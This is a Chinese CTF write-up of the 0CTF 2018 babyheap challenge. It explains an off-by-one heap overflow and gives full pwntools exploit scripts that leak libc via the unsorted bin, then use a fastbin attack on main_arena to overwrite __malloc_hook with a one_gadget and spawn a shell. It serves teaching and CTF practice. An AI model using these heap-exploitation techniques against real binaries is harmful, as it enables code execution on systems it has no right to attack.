菜鸡的 Pwn 07 0ctf 2018 babyheap


菜鸡的 Pwn 07 0ctf 2018 babyheap

D7

一.前言

虽然都是 0ctf 的 baby 题,但是可以明显的感受到难度在逐步上升,2018 的 babyheap 与 2017 的 babyheap 两题代码基本相同,区别在 2018 限制了可以申请的内存块大小,并且将任意字节溢出改为了单字节溢出(OFF-BY-ONE),虽然变动不是特别大,但是对攻击链的构建造成了较大的影响。

二.分析过程

惯例先来看一下代码:
image
保护全部开启。

对比 2017 年的题目来看,结构几乎没有进行变化,第一处不同在函数 new 中:
image
这里限制用户能够申请的堆块大小最大不能超过 88 个字节(0x58),也就是说,我们只能申请到属于 fastbin 的堆块。
另一处不同在 edit 函数中,2017 年的漏洞可以溢出任意数量的字节,但是本例只能够溢出单字节:
image

笔者曾经分析过 Asis CTF 2016 的 b00ks 题目,漏洞是 off-by-one 的一种特殊情况 – off-by-null,本题则是正统的 off-by-one,观察代码发现,我们能够溢出一个 0x00~0xff 的字节。

off-by-one 的攻击思路大佬们已经写了很多的文章来解释,这里就稍微介绍一下。
首先要对堆块的结构有所了解,一个堆块由块首和块身构成,off-by-one 攻击过程中,我们要尤其关注块首的 size 成员,此外,还需要对堆的管理方式有所了解,比较重要的一点是,当两个堆块处于相邻状态(块的大小有一定要求),并且均被占用时,后一个堆块的 prev_size 成员可能被前一个堆块使用以节省空间,比如我们 malloc(0x48) malloc(0x40),那么堆中可能会是如下的形态:
image
申请第一个堆块时多出的 8 个字节不会再多开辟空间,而是直接占用下一个堆块的 prev_size 成员的位置。
这样,off-by-one 的条件就达成了,我们可以申请类似 0x18、0x28、0x38 等等的大小,然后构造 off-by-one,覆盖到下一个堆块的 size 标志位,造成 chunk overlap。
image

三.攻击思路

现在我们找到的漏洞只有 edit 某个堆块时存在 off-by-one,能够修改堆块的 size 标志位造成 chunk overlap,并且只能申请属于 fastbin 的堆块。
参考 2017 的做法,第一步要做的肯定是 leak 出 libc 的地址,但这回 leak 地址可不像 2017 那样简单,既然我们能够构造 chunk overlap,那么一个显而易见的思路就是构造 3 个堆块(前两个小一些),然后通过修改第一个堆块增大第二个堆块的 size 标志位,将 2 和 3 重叠,这时如果伪造好条件度过检查,将堆块 2 free 掉,再 malloc 回来,那么就能够得到整个堆块 2 和 堆块 3 的一部分。
注意在申请堆块时使用的是calloc,所以需要修复 chunk3 的结构,然后将 chunk3 free,读取 chunk2 就能泄露出堆的地址。
虽然可以泄露出地址(以上部分大家可以自行实验),但是我们需要的是 libc 的地址,只有堆的地址是不够的,如何才能泄露出 libc 的地址?这里也可以参考 2017 的题目。unsorted bin leak。
虽然只能申请属于 fastbin 的堆块,但是可以修改某 chunk 的 size 来伪造一个 small chunk,free 之后依靠 chunk overlap 将 fd 和 bk 指针取出来!
说起来比较简单,但是有许多细节需要注意,下面我们一步一步来看。
整个结构的构造如下图:
image

新建 5 个 chunk,先对 chunk1 和 chunk2 进行 overlap,然后修改 chunk2 的 size 为 small bin 范围,伪造好前后的堆块以度过检查,将伪造的 small chunk free,这时在 chunk2 中就会存在指向 main_arena 的指针,将他们读取出来就能够找到 libc 的基址了,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import time

#context(log_level="DEBUG")
def add(length):
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Command: ")

def edit(index, length, content):
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Content: ")
p.sendline(content)
p.recvuntil("Command: ")

def delete(index):
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Command: ")

elf = ELF("./babyheap")
libc = ELF("./libc-2.23.so")
p = process("./babyheap")
add(0x28) # index 0
add(0x28) # index 1
add(0x38) # index 2
#gdb.attach(p)
log.info("==================== Chunk Overlap ====================")
payload1 = 'a' * 0x28 + '\x61'
edit(0, len(payload1), payload1)
payload2 = 'a' * 0x20 + p64(0) + p64(0x61)
edit(2, len(payload2), payload2)
delete(1)
add(0x50)
p.sendline("4") # test if overlap success or not
p.recv()
p.sendline("1")
p.recv()
# gdb.attach(p)
log.info("==================== Build Small Chunk ====================")
add(0x48) # index 3
add(0x58) # index 4
payload3 = 'a' * 0x20 + p64(0) + p64(0xa1)
edit(1, len(payload3), payload3)
payload4 = p64(0) + p64(0x51) + 'a' * 0x10 + p64(0) + p64(0x61)
edit(4, len(payload4), payload4)
payload5 = 'a' * 0x20 + p64(0) + '\x31'
edit(0, len(payload5), payload5)
delete(2)
p.sendline("4")
p.recv()
p.sendline("1")
p.recv(58)
main_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x58
libc_addr = main_addr - 0x3c4b20
log.success("main_arena address : 0x%x" % main_addr)
log.success("libc address : 0x%x" % libc_addr)
malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
one_gadget = libc_addr + 0x4526a
log.success("malloc_hook address : 0x%x" % malloc_hook)
log.success("one_gadget address : 0x%x" % one_gadget)

这里要特别解释一下第 51 行代码:

1
payload4 = p64(0) + p64(0x51) + 'a' * 0x10 + p64(0) + p64(0x61)

这里构造的 payload 会用在 chunk4 上面,其中, p64(0) + p64(0x51) 是为了构造一个假的 chunk,来防止伪造的 small chunk 和顶块合并,而后面的一部分是为了接下来的操作做铺垫。
看一下堆中的实际结构:
image
红色方框选中的是伪造的 small chunk,而蓝色方框框选的则是另一个伪造的堆块,用来防止 small chunk 和顶块合并,蓝色方框中伪造堆块内还有其他内容,是为了之后的操作进行铺垫。

现在已经得到了 libc 的地址,接下来的问题是如何获取 shell,2017 的题目我们采用的方法是修改 malloc_hook 为 shellcode 的地址,但是如果调试本题就能发现,在 malloc_hook 上方不存在能够通过检查的 size(因为我们只能申请最多 0x58 大小的堆块),所以直接修改是不行的,那么就换一个思路,在参考了大佬的 WP 后,了解到可以通过修改 main_arena 中的结构来完成利用,我们修改的是 top_chunk 的地址,在 main_arena 中,top_chunk 和 头部的偏移是固定的,并且其上方存储的是 fastbin 链表,当 fastbin 中存在堆块时,其地址很可能是 0x55xxxx ,这样我们可以先在 fastbin 中放置一个堆块,比如大小是 0x60,然后在 0x50 链表中实施 fastbin attack,修改 fd 指针指向 0x60 链表中错位构造的地址,这样就有可能在 main_arena 的 top_chunk 地址附近分配到堆块,进而可以修改 top_chunk 的地址到 malloc_hook 上方,此时再次 malloc 堆块,就能够控制 malloc_hook 了。

说了这么多,其实基本思想与 2017 的题目没有太大差别,只不过中间加了一步修改 top_chunk 的地址,操作手法也是比较相似的,特别需要注意的是,由于需要多次进行 overlap 以及 各种其他操作,堆块的 index 可能会变得比较混乱,堆中的结构可能也会比较迷,而且在伪造堆块时还需要注意内核的检查,我们可以在每一步操作中都添加好注释,并且仔细调试,理清结构之后题目就会变得简单起来。

image

四.完整EXP

注意:本题给出的 libc 为 2.24,但是为了方便,我选择直接加载本机的 2.23,如果脚本不能运行,可以尝试修改一下其中的偏移量。
其次,由于在 main_arena 上分配堆块时需要通过 size 的验证,但是这个错位构造的 size 是随机的(因为堆的地址是随机的),所以大概有 60% 的几率能够通过检查,如果脚本不能正常运行,建议多试几次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import time

#context(log_level="DEBUG")
def add(length):
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Command: ")

def edit(index, length, content):
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Content: ")
p.sendline(content)
p.recvuntil("Command: ")

def delete(index):
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Command: ")

elf = ELF("./babyheap")
libc = ELF("./libc-2.23.so")
p = process("./babyheap")
add(0x28) # index 0
add(0x28) # index 1
add(0x38) # index 2
#gdb.attach(p)
log.info("==================== Chunk Overlap ====================")
payload1 = 'a' * 0x28 + '\x61'
edit(0, len(payload1), payload1)
payload2 = 'a' * 0x20 + p64(0) + p64(0x61)
edit(2, len(payload2), payload2)
delete(1)
add(0x50)
p.sendline("4") # test if overlap success or not
p.recv()
p.sendline("1")
p.recv()
gdb.attach(p)
log.info("==================== Build Small Chunk ====================")
add(0x48) # index 3
add(0x58) # index 4
payload3 = 'a' * 0x20 + p64(0) + p64(0xa1)
edit(1, len(payload3), payload3)
payload4 = p64(0) + p64(0x51) + 'a' * 0x10 + p64(0) + p64(0x61)
edit(4, len(payload4), payload4)
payload5 = 'a' * 0x20 + p64(0) + '\x31'
edit(0, len(payload5), payload5)
delete(2)
p.sendline("4")
p.recv()
p.sendline("1")
p.recv(58)
main_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x58
libc_addr = main_addr - 0x3c4b20
log.success("main_arena address : 0x%x" % main_addr)
log.success("libc address : 0x%x" % libc_addr)
malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
one_gadget = libc_addr + 0x4526a
log.success("malloc_hook address : 0x%x" % malloc_hook)
log.success("one_gadget address : 0x%x" % one_gadget)

add(0x28 - 0x10) # index 2
add(0x28 - 0x10) # index 5
add(0x38 - 0x10) # index 6
add(0x50)
delete(7)
payload1 = 'a' * 0x18 + '\x51'
edit(2, len(payload1), payload1)
payload2 = 'a' * 0x10 + p64(0) + p64(0x51)
edit(6, len(payload2), payload2)
delete(5)
add(0x40)
p.sendline("4")
p.recv()
p.sendline("5")
p.recv()
payload6 = 'c' * 0x18 + p64(0x51)
edit(5, len(payload6), payload6)
delete(6)
payload6_2 = 'd' * 0x18 + p64(0x51) + p64(main_addr + 37)
edit(5, len(payload6_2), payload6_2)
add(0x40)
add(0x48)
#gdb.attach(p)
payload7 = p64(0) * 4 + '\x00\x00\x00' + p64(malloc_hook - 0x10)
edit(7, len(payload7), payload7)
add(0x40)
payload8 = p64(one_gadget)
edit(8, len(payload8), payload8)
p.sendline("1")
p.recv()
p.sendline("80")
p.recv()
p.interactive()

五.修复方案

可以尝试 nop free,或者控制 edit 中的 size 大小,防止单字节溢出。